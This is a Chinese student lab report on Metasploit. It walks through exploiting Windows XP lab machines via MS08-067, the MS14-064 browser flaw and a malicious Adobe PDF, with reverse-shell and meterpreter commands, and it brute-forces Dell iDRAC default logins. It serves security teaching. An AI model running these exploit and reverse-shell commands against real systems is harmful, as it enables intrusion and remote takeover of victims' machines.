一、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
实践准备
1. MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2. MSF的六种模块
- 渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode"背"过去- 主动渗透攻击:攻击某个系统服务
- 被动渗透攻击:攻击某个客户端应用
- 辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提- 网络服务的扫描与查点
- 探查敏感信息泄露、Fuzz测试发掘漏洞
- 收集登录密码
- 攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 - 空字段模块
Nop Modules
- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
- 由于系统无法精确计算
shellcode
的起始地址,所以加入nops
以增加攻击成功的概率
- 编码模块
Encoders
- 改变
payload
形状,使得不出现特定字符 - 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
- 改变
- 后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行 - 查看六种模块源码目录
/usr/share/metasploit-framework/modules
3. MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2016年产生的在windows平台下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年产生的在windows平台下的漏洞
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- 启动服务器
webgui
(一)一个主动攻击实践,尽量使用最新的类似漏洞
漏洞编号:ms08-067
漏洞描述:ms08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码,可用于进行蠕虫攻击。受影响的系统有 Microsoft Windows 2000、Windows XP 和 Windows Server 2003
主机:kali
IP:192.168.136.128
靶机:Windows XP English
IP:192.168.136.142
攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.136.142
进入msf,使用search ms08-067
查看漏洞位置
使用use exploit/windows/smb/ms08_067_netapi
选择该漏洞
设置攻击的载荷set payload generic/shell_reverse_tcp
使用show payloads
查看可用载荷
设置靶机IPset RHOSTS 192.168.136.142
设置攻击机IPset LHOSTS 192.168.136.128
exploit
进行攻击
第一次攻击失败,换个端口继续攻击
攻击成功,可用ipconfig/all
命令验证连接结果
(二)一个针对浏览器的攻击,尽量使用最新的类似漏洞
漏洞编号:ms14-064
靶机:Windows xp English
IP:192.168.122.143
主机:Kali
IP:192.168.122.136
进入msf,使用search ms13
查看漏洞位置
使用use exploit/windows/browser/ms14_064_ole_code_execution
选择攻击模块
设置好攻击机的IP与端口,使用的载荷等信息,然后开始攻击
在xp中打开生成的url,可以在kali中看到创建了一个链接:
使用ctrl+c
退出当前状态,通过sessions -i 1
获取第一个会话
使用ipconfig
查看靶机地址:
发现攻击的是xp主机,攻击成功。
(三)一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞
靶机 windows XP Pro English
IP172.16.227.19
攻击机 kali
IP172.16.229.167
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.229.167
set LPORT 11223
set FILENAME 20181223.pdf
set target 0
exploit
输入后显示
[*] Creating '20181223.pdf' file...
[+] 20181223.pdf stored at /root/.msf4/local/20181223.pdf
去所在路径找到pdf,放到靶机里,输入如下命令进入监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.229.167
set LPORT 11223
exploit
xp里没有adobe,看rb文件里对应的adobe版本下一个9.3版本
打开靶机里的pdf,攻击机中获得控制权,路径为pdf所在地址
(四)成功应用任何一个辅助模块
扫描工具Dell iDRAC Default Login
因为主机是dell的,我找了一个dell的扫描器。
- iDRAC 是什么?
带 Lifecycle Controller 的集成戴尔远程访问控制器 (iDRAC) 嵌入在每个 Dell EMC PowerEdge™ 服务器中,其功能可帮助 IT 管理员部署、更新、监控和维护服务器,而无需安装任何额外软件。Dell iDRAC 的工作不受操作系统或虚拟机管理程序存在的影响,因为 iDRAC 在出厂时就已嵌入每个服务器中,其已准备好从预操作系统或裸机状态工作。
使用info进行查看
msf5 auxiliary(scanner/http/dell_idrac) > info
Name: Dell iDRAC Default Login
Module: auxiliary/scanner/http/dell_idrac
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Cristiano Maruti <cmaruti@gmail.com>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /usr/share/metasploit-framework/data/wordlists/idrac_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.124.118 yes The target address range or CIDR identifier
RPORT 443 yes Default remote port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /data/login yes Path to the iDRAC Administration page
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/idrac_default_user.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Description:
This module attempts to login to a iDRAC webserver instance using
default username and password. Tested against Dell Remote Access
Controller 6 - Express version 1.50 and 1.85
可以看到要求的配置项不多,它大概就是尝试使用默认的用户名和密码对Dell的这个远程控制软件进行登录。
选择载荷-配置-探查
探查结果-no exit
二、问题回答
基础问题回答
用自己的话解释什么是exploit,payload,encode.
1. exploit
exploit字面上的意思是“开拓、开发”,而在破解圈子里面,公认的概念可能是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取网站用户资料文档、添加自定义用户、甚至侵入网站获得管理员权限控制整个网站的最终目的。对于cracker来说,能够得到密码档或者添加用户就足够了。而对于hacker来说,控制整个网站才是目的。
不管你用什么方法、什么工具,只要能够发现网站的漏洞,实现获取密码档、添加用户、控制网站的目标之一,那么你所做的就是exploit。
那么漏洞又是什么东西呢?我们应该知道,所谓网站,不过是由放在服务器上的很多相关程序及文件所组成的。既然是人编写的程序,就不会是无懈可击的,再优秀的程序都会有这样那样的缺陷,否则人们就不需要没完没了的更新升级程序了。而网站的漏洞,可能是组成网站的程序本身的缺陷造成的,也可能是程序之间的配置缺陷而造成的,还有就是网站设计上的缺陷。
2. payload
在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。
3. encode
通过一些特殊手段的编码,可以既保证有效载荷不被破坏,又使得漏洞攻击程序不会被侦察到。
三、实践总结与体会
本次的实验让我对msf有了更深入的掌握,在尝试上浪费了一些时间,但也学到了分析问题的能力。我对MSF的应用感觉更加得心应手了,了解了msf的具体用法,更加得心应手了。另外,感觉实验环境和真实环境还是有很大差距,很多漏洞都是故意去才能找到的。本次实验绝大多数的时间花费在找靶机上。这说明msf对漏洞的攻击对系统和软件版本具有较强的专一性。在日常生活中大可以不那么担心这个问题,毕竟大型厂商都会自动帮你更新好漏洞。
四、离实战还缺些什么技术或步骤?
首先是是信息搜集,实践中我们可以掌握靶机的系统版本,但是实际中我们需要了解目标的系统版本,然后有针对性地采取措施。并且还有掌握最新的漏洞信息。
其次是要将后门程序悄无声息的放入靶机中这部看似简单,但是实际中要逃过杀软与人为的检测,所以需要伪装和免杀处理。而且我们的许多操作都需要靶机的配合,而在实战中一般不会有被害人和你配合吧,除了社工成功的情况下。